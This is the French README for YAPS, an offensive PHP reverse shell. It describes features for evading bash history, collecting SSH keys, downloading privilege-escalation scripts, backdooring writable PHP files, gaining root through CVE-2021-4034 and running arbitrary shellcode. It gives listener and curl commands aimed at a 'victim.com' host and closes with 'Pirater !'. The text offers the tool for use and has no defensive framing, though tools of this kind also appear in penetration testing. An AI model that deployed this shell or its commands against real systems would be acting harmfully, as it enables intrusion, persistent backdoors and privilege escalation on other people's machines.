YAPS - Yet Another PHP Shell

Oui, comme son nom l'indique, il s'agit d'un autre reverse shell PHP, un de plus parmi des centaines disponibles, mais avec quelques avantages. C'est un seul fichier PHP contenant toutes ses fonctions et vous pouvez le contrôler via un simple écouteur TCP (par exemple nc -lp 1337).

Dans la version actuelle (1.5), ses principales fonctions ne prennent en charge que les systèmes Linux, mais je prévois de le faire fonctionner aussi sous Windows.

Il est actuellement dans sa première version et je ne l'ai pas encore beaucoup testé, et il y a encore beaucoup de choses que j'ai l'intention de faire et d'améliorer pour les prochaines versions (ce n'est pas encore fini !), alors n'hésitez pas à me faire savoir si vous avez trouvé des bugs ou si vous avez des suggestions de fonctionnalités ou d'améliorations. =)

Fonctionnalités

• Fichier PHP unique (pas besoin d'installer de paquets, de bibliothèques ou de télécharger des tonnes de fichiers)
• Fonctionne avec netcat, ncat, socat, multi/handler, presque n'importe quel écouteur
• Protection par mot de passe personnalisable
• Aucun journal dans .bash_history
• Effectue certaines énumérations
  • Informations réseau (interfaces, règles iptables, ports actifs)
  • Informations utilisateur
  • Liste des fichiers SUID et GUID
  • Recherche de clés SSH (publiques et privées)
  • Liste des tâches cron
  • Liste des fichiers PHP inscriptibles
• Téléchargement automatique de LinPEAS, LinEnum ou Linux Exploit Suggester
• Écrire et exécuter du code PHP sur l'hôte distant
• Générer un shell interactif inverse
• Dupliquer autant de connexions que vous le souhaitez
• Mise à jour automatique
• Infecter des fichiers PHP avec des backdoors
• Shell racine inverse automatique via pwnkit (CVE-2021-4034)
• [NOUVEAU] Envoyer et exécuter du shellcode

Inconvénients

• La connexion n'est pas chiffrée (pour l'instant) (nc ne supporte pas SSL)
• Pas entièrement interactif (bien que vous puissiez générer un shell interactif avec !interactive)
  • CTRL+C le casse ; impossible d'utiliser les flèches pour naviguer (sauf si vous utilisez rlwrap nc -lp <ip> <port>)

Utilisation

1. Configurer un écouteur TCP ;
2. Définir votre IP et votre port. Cela peut être fait par :

• 2.1 En modifiant les variables au début du script ;
• 2.2 En les définissant via une requête POST (curl -x POST -d "x=ip:port" victim.com/yaps.php);

3. Ouvrir yaps.php dans le navigateur, le curl ou l'exécuter via CLI ;

• 3.1 Vous pouvez ajouter yaps.php?s ou yaps.php?silent pour supprimer la bannière
• 3.2 Vous pouvez l'exécuter via CLI avec php yaps.php ip port

5. Pirater !

Commandes fonctionnelles

• !help - Afficher le menu d'aide
• !all-colors - Activer/désactiver toutes les couleurs (compatible avec les TTY sans couleur)
• !color - Activer/désactiver la couleur du PS1 (uniquement local, aucune variable d'environnement n'est modifiée)
• !duplicate - Générer une autre connexion YAPS
• !enum - Télécharger LinPEAS et LinEnum dans /tmp et les préparer à l'emploi
• !info - Lister les informations sur la cible (l'énumération mentionnée ci-dessus)
• !infect - Infecter les fichiers PHP inscriptibles avec des backdoors
• !interactive - Générer des shells inverses interactifs sur d'autres ports (fonctionne avec sudo, su, mysql, etc.)
• !passwd - Option de mot de passe (activer, désactiver, définir, modifier)

Captures d'écran

Cliquez pour développer la section des captures d'écran

Commandes actuelles :

Effectuer des reconnaissances :

Shell racine inverse via CVE-2021-4034

Envoi et exécution de shellcode !

Génération d'un shell interactif

Duplication d'une session YAPS

Journal des modifications

v1.5 - 12/02/2022

• Ajout de !shellcode pour recevoir et exécuter un shellcode arbitraire
• Amélioration de la fonction duplicate() (vous pouvez désormais spécifier une plage de ports)
• Changement du nom de la fonction de stabilize à interactive
• Compression des codes embarqués pour économiser de l'espace
• Correction de liens brisés
• Ajout de "TERM=xterm" en préfixe à toutes les commandes
• Améliorations mineures

v1.4 - 04/02/2022

• Ajout de !pwnkit pour exploiter CVE-2021-4034 et générer un shell racine inverse
• Amélioration de la fonction verify_update()
• Améliorations mineures

v1.3.1 - 01/08/2021

• Correction de bugs

v1.3 - 28/07/2021

• Ajout de !infect pour infecter des fichiers PHP avec des backdoors
• Changement de la charge utile de !stabilize (correction de bugs)

v1.2.2 - 18/07/2021

• Changement de la fonction 'update'
• Changement de la fonction 'connect'
• Amélioration de la fonction 'download'
• Correction de bugs

v1.2.1 - 17/07/2021

• Correction de bugs

v1.2 - 17/07/2021

• Ajout de !duplicate pour générer un autre shell
• Ajout de la vérification de mise à jour (--update|-u)
• Ajout d'arguments CLI (--help|-h)
• Ajout du socket via arguments (php yaps.php ip port)
• Changement de la méthode de stabilisation du shell (ne gèle plus)
• Changement de la méthode de téléchargement
• Changement de la méthode de connexion via POST (reçoit un seul paramètre)

v1.1 - 12/07/2021

• Ajout de !all-colors pour activer/désactiver les couleurs du terminal et fonctionner avec des TTY sans couleur
• Ajout de la commande exit pour fermer le socket (quitter le shell)
• Changement de la charge utile dans !stabilize pour désactiver HISTSIZE et HISTFILE
• Changement de la méthode d'obtention des informations CPU et meminfo dans !info

v1.0.1 - 08/07/2021

• Changement de [x,y,z] en array(x,y,z) pour améliorer la compatibilité avec les anciennes versions de PHP
• Changement de la charge utile pour le shell interactif afin de fonctionner avec PHP<5.4

Crédits

Certaines idées ont été inspirées par ces outils :

Linpeas

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

Linenum

https://github.com/rebootuser/LinEnum

Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Pentest Monkey

https://github.com/pentestmonkey/php-reverse-shell

Exploit Arthepsy pour pwnkit

https://github.com/arthepsy/CVE-2021-4034/